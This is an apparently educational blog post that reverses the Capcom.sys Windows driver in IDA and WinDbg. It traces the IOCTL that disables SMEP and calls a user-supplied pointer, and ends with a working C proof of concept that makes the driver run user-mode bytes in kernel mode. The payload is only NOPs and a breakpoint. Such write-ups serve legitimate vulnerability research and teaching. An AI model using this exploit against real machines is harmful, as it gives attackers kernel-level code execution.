# CapCom.sys Exploitation

# Outline

A shorter post on reversing and exploiting the capcom.sys driver as a gentle introduction into the world of windows driver exploitation.

# Reversing the Driver

The first thing to look at is the drivers device name. This is normally in the DriverEntry function and will be parsed as the second parameter to the IoCreateSymbolicLink function.

Looking at the disassembly in IDA we can see the call to IoCreateSymbolicLink:

call    sub_103AC
lea     rcx, [rsp+78h+SymbolicLinkName] ; DestinationString
mov     rdx, r11        ; SourceString
call    cs:RtlInitUnicodeString
lea     rdx, [rsp+78h+DestinationString] ; DeviceName
lea     rcx, [rsp+78h+SymbolicLinkName] ; SymbolicLinkName
call    cs:IoCreateSymbolicLink

Above it there is a call to sub_103AC which seems to be doing some sort weird byte magic, So instead of dealing with all that. I'm going to load the driver using OSRLoader and then finding the drivername at runtime.

In a kernel debugger hooked up to the target we can add the following breakpoints:

sxe ld capcom.sys // will break on image load
bp capcom+0x608

then loading and running the driver we will see that it hits our breakpoints:

kd> g
nt!DebugService2+0x5:
0010:fffff806`2a608d65 cc              int     3
kd> bp capcom+0x683
breakpoint 0 redefined
kd> g
Breakpoint 0 hit
capcom+0x683:
0010:fffff806`3dc00683 ff157ffcffff    call    qword ptr [capcom+0x308 (fffff806`3dc00308)]

Then checking the value at rdx:

kd> du @rdx
fffff806`3dc00880  "\Device\Htsysm72FB"

So this the drivers device name.

Looking around more there is a weird looking function:

__int64 __fastcall sub_10524(void (__fastcall *a1)(_QWORD))
{
  __int64 v2; // [rsp+20h] [rbp-28h] BYREF
  void (__fastcall *v3)(PVOID (__stdcall *)(PUNICODE_STRING)); // [rsp+28h] [rbp-20h]
  PVOID (__stdcall *v4)(PUNICODE_STRING); // [rsp+30h] [rbp-18h]

  if ( *((void (__fastcall **)(_QWORD))a1 - 1) != a1 )
    return 0i64;
  v3 = (void (__fastcall *)(PVOID (__stdcall *)(PUNICODE_STRING)))a1;
  v4 = MmGetSystemRoutineAddress;
  v2 = 0i64;
  disable_smep(&v2);
  v3(v4);
  enable_smep(&v2);
  return 1i64;
}

As it disabled smep -> runs command -> enables smep it's super interesting. So how do we get to here?

# Calling the vulnerable IOCTL

looking at the calling function it seems to be checking against this IOCTL: 0x0AA013044. So lets create a quick POC that will call it and pass in a bunch of junk so we can debug the driver as it is processing the ioctl.

There are a bunch of different ways of loading a driver, I'm going to use OSRLoader for now as its the quickest

Calling the IOCTL is straight forward we can use CreateFile to get a handle to the driver and DeviceIoControl to issue the call

 DWORD ioctl = 0x0AA013044;
 HANDLE hDriver = CreateFileA("\\\\.\\Htsysm72FB", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	if (hDriver == INVALID_HANDLE_VALUE) {
     printf("[!] Could not open handle to driver. Are you admin?\n");
     return -1;
 }

 BYTE buffer[] = "AAAAAAAABBBBBBBB";
 DWORD dwbytesreturned = 0;

 if (!DeviceIoControl(hDriver, ioctl, buffer, sizeof(buffer), NULL, 0, &dwbytesreturned, NULL)) {
     printf("[!] DeviceIoControl failed %lu\n", GetLastError());
 }

Setting a breakpoint on the dispatch handler (capcom+0x590) and running the code:

push    rbx
push    rsi
push    rdi
sub     rsp, 20h
mov     rax, qword ptr [rdx+0B8h]
mov     rdi, qword ptr [rdx+18h]

After running the above we can see that rdi is a pointer to our data.

kd> da rdi
ffffdf0f`d357d6c0  "AAAAAAAABBBBBBBB"

Next we can find the input and output buffer sizes:

fffff806`92a705af 448b4810           mov     r9d, dword ptr [rax+10h]
fffff806`92a705b3 448b4008           mov     r8d, dword ptr [rax+8]
fffff806`92a705b7 488bda             mov     rbx, rdx
---
kd> r r9
r9=0000000000000011
kd> r r8
r8=0000000000000000

Next we can see the compare for the targeted ioctl:

capcom+0x5dd:
fffff801`440105dd 413bd2          cmp     edx,r10d
kd> r edx
edx=aa013044
kd> r r10d
r10d=aa013044

Finally we have a check we dont pass:

capcom+0x5f3:
fffff801`440105f3 443bc8          cmp     r9d,eax
---
kd> r eax
eax=8
kd> r r9d
r9d=11

# Calling the right code path

This seems to be checking that the size of the data we pass in is equal to 8 bytes.

Sending only 8 bytes and getting back to where we were up to and get to another check, this time on the output buffer:

kd> 
capcom+0x5f8:
fffff801`440105f8 443bc6          cmp     r8d,esi
kd> r esi
esi=4
kd> r r8d
r8d=0

Modifying the code again to pass the check:

    BYTE buffer[] = "AAAAAAAABBBBBBBB";
    DWORD dwbytesreturned = 0;
    DWORD outputbuffer = 0;

    if (!DeviceIoControl(hDriver, ioctl, buffer, 8, &outputbuffer, 4, &dwbytesreturned, NULL)) {
        printf("[!] DeviceIoControl failed %lu\n", GetLastError());

Next we see a very interesting operation:

kd> 
capcom+0x607:
fffff801`44010607 488b0f          mov     rcx,qword ptr [rdi]
kd> dw rdi
ffff9204`c5eb2800  4141 4141 4141 4141 000c 642c 7ffd 0000
ffff9204`c5eb2810  dfff 642d 7ffd 0000 0000 0000 0000 0000
ffff9204`c5eb2820  0000 0000 0000 0000 0000 0000 0000 0000
ffff9204`c5eb2830  0000 0000 0000 0000 0000 0000 0000 0000
ffff9204`c5eb2840  0002 0000 0000 0000 0000 0000 0000 0000
ffff9204`c5eb2850  0000 0206 6d4d 6553 0000 0000 0000 0000
ffff9204`c5eb2860  0000 0000 0000 0000 0004 a30f 02b5 0000
ffff9204`c5eb2870  0fff a30f 02b5 0000 0000 0000 0000 0000
kd> t
capcom+0x60a:
fffff801`4401060a eb02            jmp     capcom+0x60e (fffff801`4401060e)
kd> r rcx
rcx=4141414141414141

The above sets rcx to be our data and then bluescreens :D.

If we check the disassembly again:

mov     rax, [rsp+48h+arg_0]
mov     rcx, [rsp+48h+arg_0]
cmp     [rax-8], rcx

We can see that the 8 bytes before our buffer have to point to the buffer. We can use some pointer magic to do this:

    PBYTE buffer = VirtualAlloc(0, 16, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    *(PULONG_PTR)buffer = (ULONG_PTR)(buffer + 8);
    *(PULONG_PTR)(buffer + 8) = 0x4141414141414141;

    ULONG_PTR target = (ULONG_PTR)(buffer + 8);

    if (!DeviceIoControl(hDriver, ioctl, &target, 8, &outputbuffer, 4, &dwbytesreturned, NULL)) {
        printf("[!] DeviceIoControl failed %lu\n", GetLastError());
    }

Then rerunning shows that we are executing the bytes at rcx / our input buffer:

kd> t
capcom+0x573:
fffff801`240f0573 ff542428        call    qword ptr [rsp+28h]
kd> t
000001ae`43380008 41              ???

Instead of getting popping calc or getting shells I'm going to stop as I'm planning on covering all that in a later blog in detail.

# Code POC

int main() {
    DWORD ioctl = 0x0AA013044;
    HANDLE hDriver = CreateFileA("\\\\.\\Htsysm72FB", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	if (hDriver == INVALID_HANDLE_VALUE) {
        printf("[!] Could not open handle to driver. Are you admin?\n");
        return -1;
    }

    DWORD dwbytesreturned = 0;
    DWORD outputbuffer = 0;

    PBYTE buffer = VirtualAlloc(0, 16, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    *(PULONG_PTR)buffer = (ULONG_PTR)(buffer + 8);
    *(PULONG_PTR)(buffer + 8) = 0xcc90909090909090;

    ULONG_PTR target = (ULONG_PTR)(buffer + 8);

    if (!DeviceIoControl(hDriver, ioctl, &target, 8, &outputbuffer, 4, &dwbytesreturned, NULL)) {
        printf("[!] DeviceIoControl failed %lu\n", GetLastError());
    }

    return 0;
}